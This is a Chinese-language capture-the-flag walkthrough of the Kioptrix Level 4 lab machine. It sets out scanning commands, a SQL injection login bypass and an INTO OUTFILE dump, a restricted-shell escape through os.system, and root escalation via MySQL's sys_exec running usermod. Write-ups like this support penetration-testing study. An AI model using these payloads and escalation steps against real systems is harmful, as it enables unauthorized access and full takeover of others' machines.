Kioptrix Level 4 Walkthrough
Kioptrix Level 4 Walkthrough
Box Info
官网在这里:Kioptrix: Level 1.3 (#4)
The Hack
确定存活的主机
nmap -sP 192.168.186.0/24 |
对目标 IP 进行端口发现
nmap -p- 192.168.186.151 |
发现开放 22,80,139,445 端口
对开放的端口进行应用版本发现
nmap -p 22,80,139,445 -A 192.168.186.151 |
22 端口开放 SSH 服务,80 端口开放 HTTP 服务,139 和 445 都是 SMB 服务
先来看 22 端口 SSH 服务,看看对应版本有无可直接利用的漏洞
searchsploit openssh 4.7 |
暂时没有发现什么可利用的漏洞
再来看 80 端口,进行目录扫描
dirsearch -u http://192.168.186.150 |
发现可疑目录
/images 目录下有张 cartoon_goat.png 图片
将其保存至本机,看看图片是否泄露信息
strings cartoon_goat.png |
可惜没有
直接访问 80 端口,发现是登陆页面,源码也没泄露关键信息
尝试弱口令登陆,发现登陆失败则会 302 重定向至 /checklogin.php
最后来看 /database.sql ,发现是将 john/1234 插入 member 的 table 中,泄露账户和密码
尝试使用 john/1234 登陆 ssh
ssh -o HostKeyAlgorithms=+ssh-rsa john@192.168.186.151 |
登陆失败
登陆后台,也失败
既然都有数据库,那是否存在 SQL 注入呢?经过探查发现,在 mypassword 处发现单引号字符型注入
试试看万能密码?由于是 post 型,所以要将注释符更改为 %23 (#)
登陆成功,获得 john 真正的密码
或者可以执行如下命令
' or 1=1 into outfile '/var/www/user.txt' #获得用户和密码
该方法局限性在于网站根目录不一定是 /var/www
尝试使用 ssh 远程登陆
ssh -o HostKeyAlgorithms=+ssh-rsa john@192.168.186.151 |
登陆成功,但似乎是在一个受限的环境中
在这种情况下,需要逃逸 restrict shell ,可以尝试使用如下命令
ssh username@IP -t "/bin/bash" or "/bin/sh" |
都失败了…
由于可以执行 echo ,尝试 echo os.system("/bin/bash")
逃逸,逃逸成功
接下来是提权,先查看目标主机真实开放的端口,发现有 3306 端口
同时能发现 MySQL 以 root 身份运行
那就去 web 网站目录看看有没有泄露 MySQL 账户密码,在 checklogin.php 出找到 root 账户的密码为空
登陆 MySQL 服务
mysql -h localhost -u root -p |
在查看 mysql 数据库时发现存在 func 表
且表中含有执行命令的函数
将 john 加入 root 用户组
select sys_exec('usermod -aG admin john'); |
使用 sudo su 切换为 root 身份,密码为 MyNameIsJohn ,提权成功
获得 flag